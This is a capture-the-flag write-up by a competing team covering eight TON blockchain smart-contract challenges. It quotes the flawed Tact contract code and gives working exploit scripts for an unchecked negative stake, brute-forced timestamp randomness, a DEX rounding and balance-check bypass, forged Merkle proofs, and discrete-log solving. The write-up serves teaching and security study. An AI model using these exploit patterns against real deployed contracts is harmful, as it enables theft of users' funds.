TON CTF Writeup

Introduction

The TON CTF, granted by the TON Foundation and hosted by TonBit and TONX Studio, was an exciting security competition focused on the TON blockchain. It challenged security experts and developers to solve 8 complex tasks using the FunC and Tact programming languages, enhancing both their technical skills and understanding of the TON ecosystem.

Competing as Amber Labs, our team successfully tackled these challenges, securing third place among 364 teams worldwide. In this write-up, we’ll share the key challenges we faced and the strategies that led to our achievement.

Challenges Overview

• Airdrop
• ECCS
• Random
• Curve
• Dex
• Puzzle
• ECC
• MerkleAirdrop

For more information about the challenges, please refer to the following link: https://github.com/TonBitSec/TonCTF-ChallengesRandom

Preliminary Work

Before tackling the first challenge, we needed to set up an environment for the TON blockchain. Unlike Solidity on EVM blockchains, TON smart contracts are written using Tact or FunC. To interact with the blockchain, deploy contracts, and conduct tests, we first installed the TON SDK.

Using Blueprint

An easy way to set up a TON project is through Blueprint, a tool designed for quickly building and deploying TON projects. Blueprint provides a basic contract template and allows you to deploy contracts to the TON mainnet, testnet, or a custom network.

Here’s an example script of how we used Blueprint for on-chain interaction on the TON blockchain:

import { Address, toNano } from '@ton/core';
import { Checkin } from '../wrappers/checkin'; // The contract wrapper is automatically generated after compilation
import { NetworkProvider, sleep } from '@ton/blueprint';

export async function run(provider: NetworkProvider, args: string[]) {
    const ui = provider.ui();

    // If you want to input via UI, enter the deployed contract address for the challenge here
    const address = Address.parse(args.length > 0 ? args[0] : await ui.input('Checkin address'));

    if (!(await provider.isContractDeployed(address))) {
        ui.write(`Error: Contract at address ${address} is not deployed!`);
        return;
    }

    const checkin = provider.open(Checkin.fromAddress(address));

    await checkin.send(
        provider.sender(),
        {
            value: toNano('0.05'), // Specify how much TON to send as gas fee; here it is 0.05 TON
        },
        'set', // Sending a message with only a comment
    );

    let flag = await checkin.getIsSolved();
    while (flag === false) {
        await sleep(2000);
        flag = await checkin.getIsSolved();
    }

    ui.clearActionPrompt();
}

Challenges Walkthrough

Airdrop

In this challenge, each user address could send an "AirDrop"message to the Airdrop contract once, receiving one batch of tokens in return, which would decrease the contract'sself.total_balanceby one. The goal of this challenge was to consume all the tokens in the Airdorp contract (i.e., fully depleteself.total_balance).

While one might consider using 30,000 addresses to send 30,000 "AirDrop" messages to claim all the tokens, this approach isn’t practical. However, upon examining the contract, we noticed an alternative interesting method via the receive function, UserStake.

message UserStake {
    amount: Int; // can be negative
}

receive(msg: UserStake){
    require(context().value > msg.amount, "Incorrect TON value");
    let user_staked: Int = 0;
    if (self.user_info.get(sender()) != null) {
        user_staked = self.user_info.get(sender())!!;
    }
    self.total_balance = self.total_balance + msg.amount;
    self.user_info.set(sender(), user_staked + msg.amount);
}

By examining UserStake, we noticed a mistake using Int for the amount without checking if the amount was negative. This meant we could arbitrarily decrease self.total_balance by sending a UserStake message with a negative amount.

Solution

By exploiting this vulnerability, we were able to deplete the tokens from the contract using the following code:

await airdrop.send(
    provider.sender(),
    {
        value: toNano('0.05'),
    },
    {
        $$type: 'UserStake',
        amount: -30000n,
    },
);

ECCS

In this challenge, we faced a straightforward Elliptic Curve Discrete Logarithm Problem (ECDLP). We used the following Python scipts and found the k in a brute-force way:

p = 738077334260605249
a = 1
b = 2

def invMod(_x, _pp):
    _x = _x % _pp;
    q = 0;
    newT = 1;
    r = _pp;
    t = 0;
    while _x != 0:
        t = int(r / _x);
        tmp2 = newT;
        newT = ((q + (_pp - ((t * newT )% _pp)) %  _pp))
        q = tmp2

        tmp = _x
        _x = r - t * _x
        r = tmp
    return q % p;

def add(xp, yp, xq, yq):
    x1 = xp
    y1 = yp
    x2 = xq
    y2 = yq
    x3 = 0
    y3 = 0

    if x1 == 0 and y1 == 0:
        return (xq, yq)

    if x2 == 0 and y2 == 0:
        return (xp, yp)

    if x1 == x2 and y1 == y2:
        s = (((3 * (x1 * x1) + a) % p) * invMod(2 * y1, p) % p)
        x3 = (((s * s) % p) - 2 * x1)
        y3 = (s * (x1 - x3)) % p - y1
    else:
        s = ((y2 - y1) * invMod(x2 - x1, p) % p)
        x3 = (s * s) % p - x1 - x2
        y3 = (s * (x1 - x3)) % p - y1
    return (x3 % p, y3 % p)


def scalar_multiplication(x, y, n):
    xq = 0
    yq = 0
    while n>0:
        if n % 2 == 1:
            (xq, yq) = add(xq, yq, x, y)
        (x, y) = add(x, y, x, y)
        n = int(n / 2)
    return (xq, yq)

i = 3
(x, y) = add(627636259244800403, 317346088871876181, 627636259244800403, 317346088871876181)
while True:
    (x, y) = add(x, y, 627636259244800403, 317346088871876181)
    print (i, x, y)
    if x == 456557409365020317 and y == 354112687690635257:
        break
    i = i+1

Solution

In less than one minute, we identified the correct k = 844279. By sending this value to the ECC contract with the following script, we successfully solved the challenge.

await eCCS.send(
    provider.sender(),
    {
        value: toNano('1'),
    },
    {
        $$type: 'Key',
        k: 844279n,
    },
);

Random

This challenge revolved around an NFT lottery contract. To participate, users would send a DrawNFT message containing a luckynumber. If the luckynumber matched the key generated within the DrawNFT handler, the flag would be set, indicating the challenge was solved.

receive(msg:DrawNFT){
    let c: Cell = beginCell().storeAddress(myAddress()).storeAddress(sender()).storeUint(now(), 64).endCell();
    let verify: Int = c.hash();
    let key: Int = 0;

    if ( msg.luckynumber > 0 ) {
        key = verify % 100;
        dump(key);
        if ( msg.luckynumber == key ){
            self.notify("Congratulations on winning the prize!".asComment());
            self.flag = 1;
        }
        self.notify("no success yet!".asComment());
    }
}

We noticed that the key generation relied on the timestamp returned by the now() function. Also, the key was within the range (0, 99). To solve this challenge, we could simply send multipleDrawNFT messages to the lottery contract in different timestamps (e.g., by using sleep() in a loop) to test all possible key and get the challenge solved.

Solution

let key = 0;
let flag = await receivers.getIsSolved();
while (flag === false) {
    await receivers.send(
        provider.sender(),
        {
            value: toNano('0.05'),
        },
        {
            $$type: 'DrawNFT',
            luckynumber: key,
        },
    );
    await sleep(2000);
    key++;
    flag = await receivers.getIsSolved();
    console.log(flag);
}

Curve

This challenge involved a contract also named ECC, but its add function differed from the standard ECC implementation. As a result, conventional algorithms for solving the Elliptic Curve Discrete Logarithm Problem (ECDLP) could not be applied directly. Instead, we had to rely on alternative methods.

Solution

Despite initially attempting to solve the problem using math, we eventually resorted to a brute-force method, similar to the approach used in the ECCS challenge. The following Python code helped us find the solution:

p = 1124575627794835616567
a = 7289870645149292820
b = 871152686138947806299
x0 = 26268578989036317972
y0 = 447359380003772275836

def invMod(_x, _pp):
    _x = _x % _pp;
    q = 0;
    newT = 1;
    r = _pp;
    t = 0;
    while _x != 0:
        t = int(r / _x);
        tmp2 = newT;
        newT = ((q + (_pp - ((t * newT )% _pp)) %  _pp))
        q = tmp2

        tmp = _x
        _x = r - t * _x
        r = tmp
    return q % p;

def add(xp, yp, xq, yq):
    x1 = xp
    y1 = yp
    x2 = xq
    y2 = yq
    x3 = 0
    y3 = 0

    if x1 == 0 and y1 == 0:
        return (xq, yq)

    if x2 == 0 and y2 == 0:
        return (xp, yp)

    m = 0
    if x1 == x2 and y1 == y2:
        m = ((a * ((x1 + x2) % p) % p) + b) % p;
    else:
        m = (((y2 - y1) % p) * invMod(x2 - x1, p)) % p;
    x3 = ((((m-b) * invMod(a,p)) % p) - x0) % p;
    y3 = (((x3 - x0)*m) % p + y0) % p;
    return (x3 % p, y3 % p)


def scalar_multiplication(x, y, n):
    xq = 0
    yq = 0
    while n>0:
        if n % 2 == 1:
            (xq, yq) = add(xq, yq, x, y)
        (x, y) = add(x, y, x, y)
        n = int(n / 2)
    return (xq, yq)

i = 3
(x, y) = add(983810924364991907519, 411824424919437929939, 983810924364991907519, 411824424919437929939)
while True:
    (x, y) = add(x, y, 983810924364991907519, 411824424919437929939)
    print (i, x, y)
    if x == 1098402780140240490917 and y == 1079661110557516547244:
        break
    i = i+1

Fortunately, using this method, we identified the correct value of k as 23019947. We then used this value to solve the challenge by sending the following message:

await curve.send(
    provider.sender(),
    {
        value: toNano('1'),
    },
    {
        $$type: 'Key',
        k: 23019947n,
    },
);

Dex

In this challenge, we encountered a simple Dex contract that allowed users to perform trades by sending Swap messages. The Dex contract calculated balances after the trade based on the amount and a_b parameters. We discovered a significant issue in the Swap function — a rounding error in the calculation of out_amount. This allowed us to withdraw tokens from the Dex contract through multiple trades.

The goal of this challenge was to reduce the TON in the Dex contract to less than 0.5. To achieve this, we needed to set self.lock to false before we could proceed with the Slove check. To set self.lock to false, we needed to get user_a + user_b = 29by sending multiple `Swap` messages with different amount values.

Once unlocked, we could send a "Withdraw" message to remove TON from the Dex contract. However, there was another obstacle: the following line of code prevented us from withdrawing more than 1 TON:

require(myBalance() > ton('1.0') + self.storageReserve + msg.value, 'Insufficient balance');

At this point, myBalance() was around 2.1 TON, and self.storgeReserve was 0.1 TON, which meant that a proper msg.value was needed to withdraw the majority of the remaining balance.

We devised a solution by sending some TON for the gas fee, temporarily boosting myBalance() in the Dex contract. Since the contract used the SendRemainingValue message mode, the remaining gas fee was returned to the caller after execution, allowing us to bypass the require() check and allow us for a larger msg.value. Eventually, we sent in 1.1 TON for gas fee and set msg.value = 2. This way, the require() would be like:

With msg.value = 2, we successfully withdrew 2 out of around 2.1 TON from the Dex contract and solved the challenge.

Solution

Here are the steps we followed:

• Step 1: Use Swap messages to set user_a + user_b equal to 29.

await dex.send(
    provider.sender(),
    {
        value: toNano('0.05'),
    },
    'CreateUser',
);

await sleep(8000);

for (let i = 0; i < 10; i++) {
    await dex.send(
        provider.sender(),
        {
            value: toNano('0.141'),
        },
        {
            $$type: 'Swap',
            amount: BigInt(i + 1),
            a_b: 1n,
        },
    );
    await sleep(10000);
    await dex.send(
        provider.sender(),
        {
            value: toNano('0.141'),
        },
        {
            $$type: 'Swap',
            amount: BigInt(i + 1),
            a_b: 2n,
        },
    );
    await sleep(10000);
}

await dex.send(
    provider.sender(),
    {
        value: toNano('0.141'),
    },
    {
        $$type: 'Swap',
        amount: 1n,
        a_b: 1n,
    },
);

await sleep(10000);

• Step 2: Use a Withdraw message to remove TON from the contract.

await dex.send(
    provider.sender(),
    {
        value: toNano('1.1'),
    },
    {
        $$type: 'Withdraw',
        value: toNano('2'),
    },
);

• Step 3: Send the “Solve” message to complete the challenge.

await dex.send(
    provider.sender(),
    {
        value: toNano('0.05'),
    },
    'Solve',
);

Puzzle

This challenge was a simple puzzle-solving problem. Users needed to send Operate1 ~ Operate7 messages to solve the puzzle and finally send a Check message to verify the solution. The goal was to meet the condition: self.a + self.b + self.c + self.d + self.e + self.f == 638 and self.pc <= 13.

Upon examining the contract’s source code, we noticed that all shift operations were effectively meaningless as they didn’t assign their results to any variable. Therefore, we could ignore the shifts and focus solely on the + and - operations.

receive("Operate1") {
    self.a -= 3;
    self.b << 1;        // we can ignore this
    self.c >> 2;        // we can ignore this
    self.d += 4;
    self.e << 1;        // we can ignore this
    self.f -= 3;
    self.pc += 1;
}

Solution

Since we only focused on the + and - operations, it didn’t matter if we reordered Operate1 ~ Operate7. Then, we could write down seven equations for self.a, self.b, self.c, self.d, self.e, self.f, and self.pc using (x, y, z, u, v, r, s) as variables which represented Operate1 ~ Operate7.

• a = 100–3x + 3y + 5u — 4v — s
• b = 100–2z + 6r
• c = 100 + y — u + 2v
• d = 100 + 4x + 3z + 4u — 5v — 2r + s
• e = 100 + 4r — 5s
• f = 100–3x + y + 3v + 2s
• pc = x + y + z + v + r

With the help of Z3, we could get multiple solutions of those seven equations (e.g., [x = 0, y = 0, z = 2, u = 4, v = 0, r = 0, s = 0]). Here’s the Python script we used:

from z3 import *

op1 = Int('x')
op2 = Int('y')
op3 = Int('z')
op4 = Int('u')
op5 = Int('v')
op6 = Int('r')
op7 = Int('s')
a = 100 - 3*op1 + 3*op2 + 5*op4 - 4*op5 - 1*op7
b = 100 - 2*op3 + 6*op6
c = 100 + 1*op2 - 1*op4 + 2*op5
d = 100 + 4*op1 + 3*op3 + 4*op4 -5*op5 - 2*op6 + 1*op7
e = 100 + 4*op6 - 5*op7
f = 100 - 3*op1 + 1*op4 + 3*op5 + 2*op7
pc = op1 + op2 + op3 + op5 + op6

s = Solver()
s.add( a + b + c + d + e + f == 638 )
s.add( pc <= 13 )
s.add( op1 >= 0 )
s.add( op2 >= 0 )
s.add( op3 >= 0 )
s.add( op4 >= 0 )
s.add( op5 >= 0 )
s.add( op6 >= 0 )
s.add( op7 >= 0 )
print(s.check())
print(s.model())

ECC

This challenge involved a contract that implemented a standard elliptic curve cryptography algorithm. Unlike the previous ECCS challenge, the range of the k value in this contract was significantly larger, making it impractical to brute-force k directly. Therefore, we needed to employ alternative methods to solve the challenge.

Solution

By examining the add function in the contract, we could analyze the slope calculation to derive the equation of the curve.

Using this equation, we could use SageMath to solve k.

p = 769908256801249
P.<x> = GF(p)[]
f = x^3 + 2*x^2 + x
P = (232682398601200, 266866051136644)
Q = (565954914175128, 196353530004690)

f_ = f.subs(x=x-1)
print(f_.factor())

P_ = (P[0] + 1, P[1])
Q_ = (Q[0] + 1, Q[1])

t = GF(p)(769908256801248).square_root()
u = (P_[1] + t * P_[0]) / (P_[1] - t * P_[0]) % p
v = (Q_[1] + t * Q_[0]) / (Q_[1] - t * Q_[0]) % p

print(v.log(u))

This script determined the correct value of k was 45514416202853. With this value, we could then interact with the contract as follows to solve the challenge:

await eCC.send(
    provider.sender(),
    {
        value: toNano('1'),
    },
    {
        $$type: 'Key',
        k: 45514416202853n,
    },
);

MerkleAirdrop

In this challenge, we encountered a Merkle tree-based smart contract called, MerkleAirdrop. Users could send a "Claim" message to receive an airdrop. The MerkleAirdrop contract verified airdrop eligibility based on the provided (proof, recipient, amount). If the verification was successful, the specified amount of tokens would be sent to the user.

The objective was to ensure self.reserve == 0, meaning we needed to claim all 10,000 tokens. Upon examining the contract’s code, we discovered mistakes in the implementation of the Merkle tree. In a standard Merkle tree, each parent node is created by concatenating and hashing the hash hash values of the left and right child nodes. However, in MerkleAirdrop, the self.merkleRoot was created by hashing the difference between nodes, as illustrated below:

//whitelist
 let seedBuilder: StringBuilder = beginString();
 seedBuilder.append("EQDaypwc_Jr8by-alaK4mntRu35_EhlMz60AOeSJRawcrNM0");
 seedBuilder.append("614");
 let leaf: Int = sha256(seedBuilder.toString());
 let nodes: map<Int,Int> = emptyMap();
 nodes.set(0,3276839473039418448246626220846442448842246862622804046064860066224006800084);
 nodes.set(1,47247882347545520880400048062206626448448620004800866600228646060442282848824);
 nodes.set(2,17983245880419772846408460262448682866408688862244064640442682866626888428288);

 let i: Int = 0;
 while(i<3)
 {
     let node: Int? = nodes.get(i);
     leaf = leaf > node!!?
     sha256((leaf - node!!).toString()):
     sha256((node!! - leaf).toString());
     i = i + 1;
 }
 self.merkleRoot = leaf;

Base on that, supposing we have a value k where sha256(k) == merkleRoot, we could have an arbitrary x where x — proofs[2] == k with an user controllable proofs[2]. Futhermore, if we intentionally let proofs[0] = proofs[1] = 0, we could have an arbitrary pair of (leaf, proofs[2]) where sha256(sha256(leaf-0)-0) == x. Therefore, sha256(sha256(sha256(leaf)) — proofs[2]) == sha256(x — proofs[2]) == sha256(k) == merkleRoot would bypass the verification in self.verify():

fun verify(leaf: Int,proofs: map<Int,Int>,proofLength: Int): Bool
 {
     let i: Int = 0;
     require(proofLength + 1 == self.merkleTreeHeight,"Invalid proof length");
     while(i<proofLength)
     {
         let proof: Int? = proofs.get(i);
         if(proof == null)
         {
             return false;
         }
         leaf = leaf > proof!!?
         sha256((leaf - proof!!).toString()):
         sha256((proof!! - leaf).toString());
         i = i + 1;
     }
     return leaf == self.merkleRoot;
 }

Solution

To exploit this vulnerability, we created a test with the recipient set to EQDaypwc_Jr8by-alaK4mntRu35_EhlMz60AOeSJRawcrNM0 and the amount set to 10000. We then set the three values in the proof to 0 and calculated a valid proof by dumping the leaf value from the contract. Using this method, we were able to deliver a valid proofs[2] as follows:

let proofs = Dictionary.empty(Dictionary.Keys.BigInt(257), Dictionary.Values.BigInt(257));

proofs.set(0n, 0n);
proofs.set(1n, 0n);
proofs.set(2n, -24912978334440296168278791948987417394843331518193938265803445223870017363168n);

With this proof, we successfully claimed the tokens and solved the challenge.

let recipientAddress = Address.parse('EQDaypwc_Jr8by-alaK4mntRu35_EhlMz60AOeSJRawcrNM0');
let amount = 10000n;

let proofs = Dictionary.empty(Dictionary.Keys.BigInt(257), Dictionary.Values.BigInt(257));

proofs.set(0n, 0n);
proofs.set(1n, 0n);
proofs.set(2n, -24912978334440296168278791948987417394843331518193938265803445223870017363168n);

await merkleAirdrop.send(
    provider.sender(),
    {
        value: toNano('1'),
    },
    {
        $$type: 'Claim',
        recipient: recipientAddress,
        amount: amount,
        proofs: proofs,
        proofLength: 3n,
    },
);

The TON CTF was an exciting experience, offering a mix of tough challenges that pushed us to sharpen our problem-solving skills and dive deeper into blockchain interactions. We tackled tasks like airdrop manipulation, elliptic curve problems, and random number generation exploits, which not only reinforced our understanding of cryptographic principles but also highlighted just how crucial precise smart contract logic is. We hope this write-up serves as a helpful guide for others looking to refine their skills and sparks further interest in blockchain security.

Competing with so many talented individuals truly enriched our understanding of this field. We can’t wait to take what we’ve learned from this experience and apply it to our future projects. A big shoutout to the TON CTF organizers for creating such an awesome platform for skill-building and innovation. We’re looking forward to diving into similar challenges down the line!